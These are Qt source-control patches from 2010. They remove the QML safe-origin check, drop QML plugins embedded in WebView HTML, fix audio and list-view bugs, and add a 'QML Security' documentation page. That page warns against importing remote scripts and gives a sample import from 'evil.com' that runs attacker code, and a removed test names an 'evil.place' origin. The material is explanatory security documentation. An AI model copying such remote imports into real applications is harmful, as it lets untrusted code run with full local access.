baseUrl() const; - bool isSafeOrigin(const QUrl &src) const; - private: friend class QDeclarativeVME; friend class QDeclarativeEngine; diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index d7f30d7..d4872e2 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -1883,33 +1883,6 @@ QString QDeclarativeEngine::offlineStoragePath() const } /*! - Returns whether \a to_url is considered safe content when reference by - content at \a from_url. - - The default implementation implements: - - \list - \i Relative URLs are safe - \i https content is safe - \i URLs from the same host and port are safe (including no-host) - \endlist - - You should consider whether this convention is adequate for your pareticular application. -*/ -bool QDeclarativeEngine::isSafeOrigin(const QUrl& to_url, const QUrl& from_url) const -{ - if (to_url.isRelative()) - return true; - if (to_url.scheme()==QLatin1String("https")) - return true; - - if (to_url.host() == from_url.host() && to_url.port() == from_url.port()) // including files (with no host) - return true; - - return false; -} - -/*! \internal Returns the result of the merge of \a baseName with \a dir, \a suffixes, and \a prefix. diff --git a/src/declarative/qml/qdeclarativeengine.h b/src/declarative/qml/qdeclarativeengine.h index 5c70b18..19e81b6 100644 --- a/src/declarative/qml/qdeclarativeengine.h +++ b/src/declarative/qml/qdeclarativeengine.h @@ -102,8 +102,6 @@ public: static void setObjectOwnership(QObject *, ObjectOwnership); static ObjectOwnership objectOwnership(QObject *); - virtual bool isSafeOrigin(const QUrl& to_url, const QUrl& from_url) const; - Q_SIGNALS: void quit (); diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp index b6bd3f8..72b6b28 100644 --- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp @@ -53,19 +53,6 @@ #include "../../../shared/util.h" -class SafeLocalhostDeclarativeEngine : public QDeclarativeEngine { -public: - SafeLocalhostDeclarativeEngine() : QDeclarativeEngine() {} - - virtual bool isSafeOrigin(const QUrl& to_url, const QUrl& from_url) const - { - if (to_url.host() == "127.0.0.1") - return true; - else - return QDeclarativeEngine::isSafeOrigin(to_url,from_url); - } -}; - /* This test case covers QML language issues. This covers everything that does not involve evaluating ECMAScript expressions and bindings. @@ -134,7 +121,6 @@ private slots: void importsLocal(); void importsRemote_data(); void importsRemote(); - void importsUnsafe(); void importsInstalled_data(); void importsInstalled(); void importsOrder_data(); @@ -149,7 +135,7 @@ private slots: void crash2(); private: - SafeLocalhostDeclarativeEngine engine; + QDeclarativeEngine engine; void testType(const QString& qml, const QString& type); }; @@ -1276,33 +1262,6 @@ void tst_qdeclarativelanguage::importsRemote() testType(qml,type); } -void tst_qdeclarativelanguage::importsUnsafe() -{ - TestHTTPServer server(14445); - server.serveDirectory(SRCDIR); - - QString qml = "import \"http://127.0.0.1:14445/qtest/declarative/qmllanguage\"\n\nTest {}"; - - { - QDeclarativeEngine engine; // plain engine without special localhost handling - QDeclarativeComponent component(&engine); - component.setData(qml.toUtf8(), TEST_FILE("empty.qml")); // just a file for relative local imports - - QTRY_VERIFY(!component.isLoading()); - - QVERIFY(component.isError()); - } - - { - QDeclarativeComponent component(&engine); // engine special localhost handling - component.setData(qml.toUtf8(), TEST_FILE("empty.qml")); // just a file for relative local imports - - QTRY_VERIFY(!component.isLoading()); - - QVERIFY(!component.isError()); - } -} - void tst_qdeclarativelanguage::importsInstalled_data() { // QT-610 diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp index 506e1ee..c3be943 100644 --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp @@ -86,8 +86,6 @@ private slots: void noResizeGraphicsWidget(); void networkRequestUrl(); void failNetworkRequest(); - void networkSafety(); - void networkSafety_data(); // void networkComponent(); void deleteComponentCrash(); @@ -508,41 +506,6 @@ void tst_QDeclarativeLoader::vmeErrors() delete loader; } -void tst_QDeclarativeLoader::networkSafety_data() -{ - QTest::addColumn("url"); - QTest::addColumn("message"); - - QTest::newRow("same origin") << QUrl("http://127.0.0.1:14445/sameorigin.qml") << QString(); - QTest::newRow("different origin") << QUrl("http://127.0.0.1:14445/differentorigin.qml") << QString("QML Loader (http://127.0.0.1:14445/differentorigin.qml:3:1) \"http://evil.place/evil.qml\" is not a safe origin from \"http://127.0.0.1:14445/differentorigin.qml\""); -} - -void tst_QDeclarativeLoader::networkSafety() -{ - TestHTTPServer server(SERVER_PORT); - QVERIFY(server.isValid()); - server.serveDirectory(SRCDIR "/data"); - - QFETCH(QUrl, url); - QFETCH(QString, message); - - if (!message.isEmpty()) - QTest::ignoreMessage(QtWarningMsg, message.toLatin1()); - - QDeclarativeComponent component(&engine, url); - TRY_WAIT(component.status() == QDeclarativeComponent::Ready); - QDeclarativeLoader *loader = qobject_cast(component.create()); - QVERIFY(loader != 0); - - if (message.isEmpty()) { - TRY_WAIT(loader->status() == QDeclarativeLoader::Ready); - } else { - TRY_WAIT(loader->status() == QDeclarativeLoader::Null); - } - - delete loader; -} - QTEST_MAIN(tst_QDeclarativeLoader) #include "tst_qdeclarativeloader.moc" -- cgit v0.12 From c78af170f439d981f85f46f60290161903159b10 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Wed, 24 Mar 2010 14:12:43 +1000 Subject: Remove support for QML-in-HTML-in-WebView Currently, this feature too prone to accidental misuse and abuse. --- examples/declarative/webview/evalandattach.html | 31 -------- examples/declarative/webview/evalandattach.qml | 55 -------------- .../declarative/webview/qdeclarative-in-html.qml | 33 -------- src/imports/webkit/qdeclarativewebview.cpp | 87 ---------------------- src/imports/webkit/qdeclarativewebview_p.h | 1 - 5 files changed, 207 deletions(-) delete mode 100644 examples/declarative/webview/evalandattach.html delete mode 100644 examples/declarative/webview/evalandattach.qml delete mode 100644 examples/declarative/webview/qdeclarative-in-html.qml diff --git a/examples/declarative/webview/evalandattach.html b/examples/declarative/webview/evalandattach.html deleted file mode 100644 index 48a1c33..0000000 --- a/examples/declarative/webview/evalandattach.html +++ /dev/null @@ -1,31 +0,0 @@ - - - - - - - - - - - - - - -
 
- -
-

- Below a qml(QFxItem) object inside webkit: -

- - - - diff --git a/examples/declarative/webview/evalandattach.qml b/examples/declarative/webview/evalandattach.qml deleted file mode 100644 index d219d84..0000000 --- a/examples/declarative/webview/evalandattach.qml +++ /dev/null @@ -1,55 +0,0 @@ -import Qt 4.6 -import org.webkit 1.0 - -Item { - height: 640 - width: 360 - Text { - id: teksti - text: webView.statusText1 - anchors.top: parent.top - height: 30 - anchors.left: parent.left - width: parent.width/2 - } - - Text { - id: teksti2 - text: webView.statusText2 - anchors.top: parent.top - height: 30 - anchors.left: teksti.right - anchors.right: parent.right - } - - MouseArea { - anchors.fill: teksti - onClicked: { webView.evaluateJavaScript ("do_it()") } - } - - WebView { - id: webView - property alias statusText1: txt.text - property alias statusText2: txt2.text - anchors.top: teksti.bottom - anchors.bottom: parent.bottom - anchors.left: parent.left - anchors.right: parent.right - focus: true - settings.pluginsEnabled: true - javaScriptWindowObjects: [ - QtObject { - id: txt - WebView.windowObjectName: "statusText1" - property string text: "Click me!" - }, - QtObject { - id: txt2 - WebView.windowObjectName: "statusText2" - property string text: "" - } - ] - url: "evalandattach.html" - } - -} diff --git a/examples/declarative/webview/qdeclarative-in-html.qml b/examples/declarative/webview/qdeclarative-in-html.qml deleted file mode 100644 index 172ea4b..0000000 --- a/examples/declarative/webview/qdeclarative-in-html.qml +++ /dev/null @@ -1,33 +0,0 @@ -import Qt 4.6 -import org.webkit 1.0 - -// The WebView supports QML data through the HTML OBJECT tag -Rectangle { - color:"blue" - Flickable { - width: parent.width - height: parent.height/2 - contentWidth: web.width*web.scale - contentHeight: web.height*web.scale - WebView { - id: web - width: 250 - height: 420 - zoomFactor: 0.75 - smoothCache: true - settings.pluginsEnabled: true - html: "\ - \ - These are QML plugins, shown in a QML WebView via HTML OBJECT tags, all scaled to 75%\ - and placed in a Flickable area...\ - \ -
Duration Color Plugin\ -
500 red \ -
2000 blue \ -
1000 green \ -
\ - \ - " - } - } -} diff --git a/src/imports/webkit/qdeclarativewebview.cpp b/src/imports/webkit/qdeclarativewebview.cpp index f8b2b88..0b85ae4 100644 --- a/src/imports/webkit/qdeclarativewebview.cpp +++ b/src/imports/webkit/qdeclarativewebview.cpp @@ -1239,96 +1239,11 @@ bool QDeclarativeWebPage::javaScriptPrompt(QWebFrame *originatingFrame, const QS } -/* - Qt WebKit does not understand non-QWidget plugins, so dummy widgets - are created, parented to a single dummy tool window. - - The requirements for QML object plugins are input to the Qt WebKit - non-QWidget plugin support, which will obsolete this kludge. -*/ -class QWidget_Dummy_Plugin : public QWidget -{ - Q_OBJECT -public: - static QWidget *dummy_shared_parent() - { - static QWidget *dsp = 0; - if (!dsp) { - dsp = new QWidget(0,Qt::Tool); - dsp->setGeometry(-10000,-10000,0,0); - dsp->show(); - } - return dsp; - } - QWidget_Dummy_Plugin(const QUrl& url, QDeclarativeWebView *view, const QStringList ¶mNames, const QStringList ¶mValues) : - QWidget(dummy_shared_parent()), - propertyNames(paramNames), - propertyValues(paramValues), - webview(view) - { - QDeclarativeEngine *engine = qmlEngine(webview); - component = new QDeclarativeComponent(engine, url, this); - item = 0; - if (component->isLoading()) - connect(component, SIGNAL(statusChanged(QDeclarativeComponent::Status)), this, SLOT(qmlLoaded())); - else - qmlLoaded(); - } - -public Q_SLOTS: - void qmlLoaded() - { - if (component->isError()) { - // ### Could instead give these errors to the WebView to handle. - qWarning() << component->errors(); - return; - } - item = qobject_cast(component->create(qmlContext(webview))); - item->setParent(webview); - QString jsObjName; - for (int i=0; isetProperty(propertyNames[i].toUtf8(),propertyValues[i]); - if (propertyNames[i] == QLatin1String("objectname")) - jsObjName = propertyValues[i]; - } - } - if (!jsObjName.isNull()) { - QWebFrame *f = webview->page()->mainFrame(); - f->addToJavaScriptWindowObject(jsObjName, item); - } - resizeEvent(0); - delete component; - component = 0; - } - void resizeEvent(QResizeEvent*) - { - if (item) { - item->setX(x()); - item->setY(y()); - item->setWidth(width()); - item->setHeight(height()); - } - } - -private: - QDeclarativeComponent *component; - QDeclarativeItem *item; - QStringList propertyNames, propertyValues; - QDeclarativeWebView *webview; -}; - QDeclarativeWebView *QDeclarativeWebPage::viewItem() { return static_cast(parent()); } -QObject *QDeclarativeWebPage::createPlugin(const QString &, const QUrl &url, const QStringList ¶mNames, const QStringList ¶mValues) -{ - QUrl comp = qmlContext(viewItem())->resolvedUrl(url); - return new QWidget_Dummy_Plugin(comp,viewItem(),paramNames,paramValues); -} - QWebPage *QDeclarativeWebPage::createWindow(WebWindowType type) { QDeclarativeWebView *newView = viewItem()->createWindow(type); @@ -1338,5 +1253,3 @@ QWebPage *QDeclarativeWebPage::createWindow(WebWindowType type) } QT_END_NAMESPACE - -#include diff --git a/src/imports/webkit/qdeclarativewebview_p.h b/src/imports/webkit/qdeclarativewebview_p.h index 36b18a6..81581d8 100644 --- a/src/imports/webkit/qdeclarativewebview_p.h +++ b/src/imports/webkit/qdeclarativewebview_p.h @@ -69,7 +69,6 @@ public: explicit QDeclarativeWebPage(QDeclarativeWebView *parent); ~QDeclarativeWebPage(); protected: - QObject *createPlugin(const QString &classid, const QUrl &url, const QStringList ¶mNames, const QStringList ¶mValues); QWebPage *createWindow(WebWindowType type); void javaScriptConsoleMessage(const QString& message, int lineNumber, const QString& sourceID); QString chooseFile(QWebFrame *originatingFrame, const QString& oldFile); -- cgit v0.12 From e887e0c38b5497757dfc69190c5a86cdc8104097 Mon Sep 17 00:00:00 2001 From: Justin McPherson Date: Wed, 24 Mar 2010 12:51:58 +1000 Subject: Calculate period size correctly. Reviewed-by:Dmytro Poplavskiy --- src/multimedia/audio/qaudioinput_mac_p.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/multimedia/audio/qaudioinput_mac_p.cpp b/src/multimedia/audio/qaudioinput_mac_p.cpp index 4b37b18..cb65f6e 100644 --- a/src/multimedia/audio/qaudioinput_mac_p.cpp +++ b/src/multimedia/audio/qaudioinput_mac_p.cpp @@ -670,8 +670,8 @@ bool QAudioInputPrivate::open() } // Allocate buffer - periodSizeBytes = (numberOfFrames * streamFormat.mSampleRate / deviceFormat.mSampleRate) * - streamFormat.mBytesPerFrame; + periodSizeBytes = numberOfFrames * streamFormat.mBytesPerFrame; + if (internalBufferSize < periodSizeBytes * 2) internalBufferSize = periodSizeBytes * 2; else -- cgit v0.12 From f59619a3a4de074d0557ce17f9580a242e4e6c16 Mon Sep 17 00:00:00 2001 From: Leonardo Sobral Cunha Date: Wed, 24 Mar 2010 15:20:16 +1000 Subject: Fix abort in flipable Flipable was calling updateSceneTransformFromParent, but this can only called when the the parent's scene transform is guaranteed to be updated, which is not the case in flipable. Task-number: QTBUG-8474 Reviewed-by: bnilsen --- src/declarative/graphicsitems/qdeclarativeflipable.cpp | 2 +- .../qdeclarativeflipable/tst_qdeclarativeflipable.cpp | 15 +++++++++++++-- 2 files changed, 14 insertions(+), 3 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeflipable.cpp b/src/declarative/graphicsitems/qdeclarativeflipable.cpp index 8b46039..0e2ae63 100644 --- a/src/declarative/graphicsitems/qdeclarativeflipable.cpp +++ b/src/declarative/graphicsitems/qdeclarativeflipable.cpp @@ -160,7 +160,7 @@ QDeclarativeFlipable::Side QDeclarativeFlipable::side() const { Q_D(const QDeclarativeFlipable); if (d->dirtySceneTransform) - const_cast(d)->updateSceneTransformFromParent(); + const_cast(d)->ensureSceneTransform(); return d->current; } diff --git a/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp b/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp index 04c6710..4beee9a 100644 --- a/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp +++ b/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp @@ -58,7 +58,10 @@ private slots: void create(); void checkFrontAndBack(); void setFrontAndBack(); - void crash(); + + // below here task issues + void QTBUG_9161_crash(); + void QTBUG_8474_qgv_abort(); private: QDeclarativeEngine engine; @@ -110,7 +113,7 @@ void tst_qdeclarativeflipable::setFrontAndBack() delete obj; } -void tst_qdeclarativeflipable::crash() +void tst_qdeclarativeflipable::QTBUG_9161_crash() { QDeclarativeView *canvas = new QDeclarativeView; canvas->setSource(QUrl(SRCDIR "/data/crash.qml")); @@ -118,6 +121,14 @@ void tst_qdeclarativeflipable::crash() delete canvas; } +void tst_qdeclarativeflipable::QTBUG_8474_qgv_abort() +{ + QDeclarativeView *canvas = new QDeclarativeView; + canvas->setSource(QUrl(SRCDIR "/data/flipable-abort.qml")); + canvas->show(); + delete canvas; +} + QTEST_MAIN(tst_qdeclarativeflipable) #include "tst_qdeclarativeflipable.moc" -- cgit v0.12 From 1e03f391889d90a25847add3a42b1debda4f3edb Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Wed, 24 Mar 2010 15:33:50 +1000 Subject: Fix flicking views at boundary with StricthighlighRange Task-number: QTBUG-9256 --- .../graphicsitems/qdeclarativegridview.cpp | 43 +++++++++++++--------- .../graphicsitems/qdeclarativelistview.cpp | 43 ++++++++++++---------- .../qdeclarativegridview/data/setindex.qml | 10 ++--- 3 files changed, 52 insertions(+), 44 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index 93f8d06..afea4ea 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -786,28 +786,32 @@ void QDeclarativeGridViewPrivate::flick(AxisData &data, qreal minExtent, qreal m QDeclarativeFlickablePrivate::flick(data, minExtent, maxExtent, vSize, fixupCallback, velocity); return; } - qreal maxDistance = -1; + qreal maxDistance = 0; // -ve velocity means list is moving up if (velocity > 0) { - if (snapMode == QDeclarativeGridView::SnapOneRow) { - if (FxGridItem *item = firstVisibleItem()) - maxDistance = qAbs(item->rowPos() + data.move.value()); - } else if (data.move.value() < minExtent) { - maxDistance = qAbs(minExtent - data.move.value()); + if (data.move.value() < minExtent) { + if (snapMode == QDeclarativeGridView::SnapOneRow) { + if (FxGridItem *item = firstVisibleItem()) + maxDistance = qAbs(item->rowPos() + data.move.value()); + } else { + maxDistance = qAbs(minExtent - data.move.value()); + } } if (snapMode != QDeclarativeGridView::SnapToRow && highlightRange != QDeclarativeGridView::StrictlyEnforceRange) data.flickTarget = minExtent; } else { - if (snapMode == QDeclarativeGridView::SnapOneRow) { - qreal pos = snapPosAt(-data.move.value()) + rowSize(); - maxDistance = qAbs(pos + data.move.value()); - } else if (data.move.value() > maxExtent) { - maxDistance = qAbs(maxExtent - data.move.value()); + if (data.move.value() > maxExtent) { + if (snapMode == QDeclarativeGridView::SnapOneRow) { + qreal pos = snapPosAt(-data.move.value()) + rowSize(); + maxDistance = qAbs(pos + data.move.value()); + } else { + maxDistance = qAbs(maxExtent - data.move.value()); + } } if (snapMode != QDeclarativeGridView::SnapToRow && highlightRange != QDeclarativeGridView::StrictlyEnforceRange) data.flickTarget = maxExtent; } - if (maxDistance > 0 && (snapMode != QDeclarativeGridView::NoSnap || highlightRange == QDeclarativeGridView::StrictlyEnforceRange)) { + if ((maxDistance > 0 || overShoot) && (snapMode != QDeclarativeGridView::NoSnap || highlightRange == QDeclarativeGridView::StrictlyEnforceRange)) { // This mode requires the grid to stop exactly on a row boundary. qreal v = velocity; if (maxVelocity != -1 && maxVelocity < qAbs(v)) { @@ -818,9 +822,8 @@ void QDeclarativeGridViewPrivate::flick(AxisData &data, qreal minExtent, qreal m } qreal accel = deceleration; qreal v2 = v * v; - qreal maxAccel = v2 / (2.0f * maxDistance); qreal overshootDist = 0.0; - if (maxAccel < accel) { + if (maxDistance > 0.0 && v2 / (2.0f * maxDistance) < accel) { // + rowSize()/4 to encourage moving at least one item in the flick direction qreal dist = v2 / (accel * 2.0) + rowSize()/4; if (v > 0) @@ -1504,10 +1507,12 @@ qreal QDeclarativeGridView::maxYExtent() const if (d->flow == QDeclarativeGridView::TopToBottom) return QDeclarativeFlickable::maxYExtent(); qreal extent; - if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) + if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) { extent = -(d->endPosition() - d->highlightRangeEnd); - else + extent = qMax(extent, -(d->rowPosAt(d->model->count()-1) - d->highlightRangeStart)); + } else { extent = -(d->endPosition() - height()); + } const qreal minY = minYExtent(); if (extent > minY) extent = minY; @@ -1531,10 +1536,12 @@ qreal QDeclarativeGridView::maxXExtent() const if (d->flow == QDeclarativeGridView::LeftToRight) return QDeclarativeFlickable::maxXExtent(); qreal extent; - if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) + if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) { extent = -(d->endPosition() - d->highlightRangeEnd); - else + extent = qMax(extent, -(d->rowPosAt(d->model->count()-1) - d->highlightRangeStart)); + } else { extent = -(d->endPosition() - height()); + } const qreal minX = minXExtent(); if (extent > minX) extent = minX; diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp index 84281c8..4cf8117 100644 --- a/src/declarative/graphicsitems/qdeclarativelistview.cpp +++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp @@ -1136,28 +1136,32 @@ void QDeclarativeListViewPrivate::flick(AxisData &data, qreal minExtent, qreal m QDeclarativeFlickablePrivate::flick(data, minExtent, maxExtent, vSize, fixupCallback, velocity); return; } - qreal maxDistance = -1; - // -ve velocity means list is moving up + qreal maxDistance = 0; + // -ve velocity means list is moving up/left if (velocity > 0) { - if (snapMode == QDeclarativeListView::SnapOneItem) { - if (FxListItem *item = firstVisibleItem()) - maxDistance = qAbs(item->position() + data.move.value()); - } else if (data.move.value() < minExtent) { - maxDistance = qAbs(minExtent - data.move.value()); + if (data.move.value() < minExtent) { + if (snapMode == QDeclarativeListView::SnapOneItem) { + if (FxListItem *item = firstVisibleItem()) + maxDistance = qAbs(item->position() + data.move.value()); + } else { + maxDistance = qAbs(minExtent - data.move.value()); + } } if (snapMode != QDeclarativeListView::SnapToItem && highlightRange != QDeclarativeListView::StrictlyEnforceRange) data.flickTarget = minExtent; } else { - if (snapMode == QDeclarativeListView::SnapOneItem) { - if (FxListItem *item = nextVisibleItem()) - maxDistance = qAbs(item->position() + data.move.value()); - } else if (data.move.value() > maxExtent) { - maxDistance = qAbs(maxExtent - data.move.value()); + if (data.move.value() > maxExtent) { + if (snapMode == QDeclarativeListView::SnapOneItem) { + if (FxListItem *item = nextVisibleItem()) + maxDistance = qAbs(item->position() + data.move.value()); + } else { + maxDistance = qAbs(maxExtent - data.move.value()); + } } if (snapMode != QDeclarativeListView::SnapToItem && highlightRange != QDeclarativeListView::StrictlyEnforceRange) data.flickTarget = maxExtent; } - if (maxDistance > 0 && (snapMode != QDeclarativeListView::NoSnap || highlightRange == QDeclarativeListView::StrictlyEnforceRange)) { + if ((maxDistance > 0 || overShoot) && (snapMode != QDeclarativeListView::NoSnap || highlightRange == QDeclarativeListView::StrictlyEnforceRange)) { // These modes require the list to stop exactly on an item boundary. // The initial flick will estimate the boundary to stop on. // Since list items can have variable sizes, the boundary will be @@ -1173,8 +1177,7 @@ void QDeclarativeListViewPrivate::flick(AxisData &data, qreal minExtent, qreal m // the initial flick - estimate boundary qreal accel = deceleration; qreal v2 = v * v; - qreal maxAccel = v2 / (2.0f * maxDistance); - if (maxAccel < accel) { + if (maxDistance > 0.0 && v2 / (2.0f * maxDistance) < accel) { // + averageSize/4 to encourage moving at least one item in the flick direction qreal dist = v2 / (accel * 2.0) + averageSize/4; if (v > 0) @@ -2063,9 +2066,10 @@ qreal QDeclarativeListView::maxYExtent() const if (d->orient == QDeclarativeListView::Horizontal) return height(); if (d->maxExtentDirty) { - if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) + if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) { d->maxExtent = -(d->endPosition() - d->highlightRangeEnd); - else + d->maxExtent = qMax(d->maxExtent, -(d->positionAt(d->model->count()-1) - d->highlightRangeStart)); + } else d->maxExtent = -(d->endPosition() - height() + 1); if (d->footer) d->maxExtent -= d->footer->size(); @@ -2100,9 +2104,10 @@ qreal QDeclarativeListView::maxXExtent() const if (d->orient == QDeclarativeListView::Vertical) return width(); if (d->maxExtentDirty) { - if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) + if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) { d->maxExtent = -(d->endPosition() - d->highlightRangeEnd); - else + d->maxExtent = qMax(d->maxExtent, -(d->positionAt(d->model->count()-1) - d->highlightRangeStart)); + } else d->maxExtent = -(d->endPosition() - width() + 1); if (d->footer) d->maxExtent -= d->footer->size(); diff --git a/tests/auto/declarative/qdeclarativegridview/data/setindex.qml b/tests/auto/declarative/qdeclarativegridview/data/setindex.qml index 908b365..b272d58 100644 --- a/tests/auto/declarative/qdeclarativegridview/data/setindex.qml +++ b/tests/auto/declarative/qdeclarativegridview/data/setindex.qml @@ -8,13 +8,9 @@ Rectangle { Item { id : wrapper - Script { - function startupFunction() - { - if (index == 5) view.currentIndex = index; - - } - } + function startupFunction() { + if (index == 5) view.currentIndex = index; + } Component.onCompleted: startupFunction(); width: 30; height: 30 Text { text: index } -- cgit v0.12 From 4b6b7361a6f8ba81b969134ca3251fad8543ddb0 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Wed, 24 Mar 2010 15:38:14 +1000 Subject: Document QML security considerations. --- doc/src/declarative/declarativeui.qdoc | 1 + doc/src/declarative/qdeclarativesecurity.qdoc | 90 +++++++++++++++++++++++++++ 2 files changed, 91 insertions(+) create mode 100644 doc/src/declarative/qdeclarativesecurity.qdoc diff --git a/doc/src/declarative/declarativeui.qdoc b/doc/src/declarative/declarativeui.qdoc index ca4c5da..cc61c01 100644 --- a/doc/src/declarative/declarativeui.qdoc +++ b/doc/src/declarative/declarativeui.qdoc @@ -102,6 +102,7 @@ completely new applications. QML is fully \l {Extending QML in C++}{extensible \o \l {QML Global Object} \o \l {Extending QML in C++} \o \l {QML Internationalization} +\o \l {QML Security} \o \l {QtDeclarative Module} \o \l {Debugging QML} \endlist diff --git a/doc/src/declarative/qdeclarativesecurity.qdoc b/doc/src/declarative/qdeclarativesecurity.qdoc new file mode 100644 index 0000000..56216dd --- /dev/null +++ b/doc/src/declarative/qdeclarativesecurity.qdoc @@ -0,0 +1,90 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qdeclarativesecurity.html +\title QML Security +\section1 QML Security + +The QML security model is that QML content is a chain of trusted content: the user +installs QML content that they trust in the same way as they install native Qt applications, +or programs written with runtimes such as Python and Perl. That trust is establish by any +of a number of mechanisms, including the availability of package signing on some platforms. + +In order to preserve the trust of users, developers producing QML content should not execute +arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elements. + +For example, this QML content: + +\qml +import "http://evil.com/evil.js" as Evil +... Evil.doEvil() ... +\endqml + +is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution +environment of QML does not try to stop any particular accesses, including local file system +access, just as for any native Qt application, so the "doEvil" function could do the same things +as a native Qt application, a Python application, a Perl script, ec. + +As with any application accessing other content beyond it's control, a QML application should +perform appropriate checks on untrusted data it loads. + +A non-exhaustive list of the ways you could shoot yourself in the foot is: + +\list + \i Using \c import to import QML or JavaScropt you do not control. BAD + \i Using \l Loader to import QML you do not control. BAD + \i Using XMLHttpRequest to load data you do not control and executing it. BAD +\endlist + +However, the above does not mean that you have no use for the network transparency of QML. +There are many good and useful things you \e can do: + +\list + \i Create \l Image elements with source URLs of any online images. GOOD + \i Use XmlListModel to present online content. GOOD + \i Use XMLHttpRequest to interact with online services. GOOD +\endlist + +The only reason this page is necessary at all is that JavaScript, when run in a \e{web browser}, +has quite many restrictions. With QML, you should neither rely on similar restrictions, nor +worry about working around them. +*/ -- cgit v0.12 From d19de14f84e9fca8bb709039d5d0331e6ddfe485 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Wed, 24 Mar 2010 15:40:05 +1000 Subject: Doc --- doc/src/declarative/scope.qdoc | 452 +++++++++++++++++++---------------------- 1 file changed, 206 insertions(+), 246 deletions(-) diff --git a/doc/src/declarative/scope.qdoc b/doc/src/declarative/scope.qdoc index 8ec784f..c588b45 100644 --- a/doc/src/declarative/scope.qdoc +++ b/doc/src/declarative/scope.qdoc @@ -39,344 +39,304 @@ ** ****************************************************************************/ -/*! -\page qdeclarativescope.html -\title QML Scope +/* + + + +and requires extension to +fit naturally with QML. -\tableofcontents -NOTE: This documentation is out of data. +JavaScript has only b +JavaScript has a very simple built in scope is very simple -\l {Property Binding}s and \l {Integrating JavaScript}{JavaScript} are executed in a scope chain +script, and the precede d + +and \l {Integrating JavaScript}{JavaScript} are executed in a scope chain automatically established by QML when a component instance is constructed. QML is a \e {dynamically scoped} language. Different object instances instantiated from the same component can exist in different scope chains. \image qml-scope.png -\section1 JavaScript Variable object -Each binding and script block has its own distinct JavaScript variable object where local -variables are stored. That is, local variables from different bindings and script blocks never -conflict. +*/ -\section1 Element Type Names +/*! +\page qdeclarativescope.html +\title QML Scope -Bindings or script blocks use element type names when accessing \l {Attached Properties} or -enumeration values. The set of available element names is defined by the import list of the -\l {QML Documents}{QML Document} in which the the binding or script block is defined. +\tableofcontents -These two examples show how to access attached properties and enumeration values with different -types of import statements. -\table -\row -\o -\code -import Qt 4.6 +QML property bindings, inline functions and imported JavaScript files all +run in a JavaScript scope. Scope controls which variables an expression can +access, and which variable takes precedence when two or more names conflict. -Text { - id: root - scale: root.PathView.scale - horizontalAlignment: Text.AlignLeft -} -\endcode -\o -\code -import Qt 4.6 as MyQt +As JavaScript's built-in scope mechanism is very simple, QML enhances it to fit +more naturally with the QML language extensions. -Text { - id: root - scale: root.MyQt.PathView.scale - horizontalAlignment: MyQt.Text.AlignLeft -} -\endcode -\endtable +\section1 JavaScript Scope -\section1 QML Local Scope +QML's scope extensions do not interfere with JavaScript's natural scoping. +JavaScript programmers can reuse their existing knowledge when programming +functions, property bindings or imported JavaScript files in QML. -Most variables references are resolved in the local scope. The local scope is controlled by the -QML component in which the binding or script block was defined. The following example shows -three different bindings, and the component that dictates each local scope. +In the following example, the \c {addConstant()} method will add 13 to the 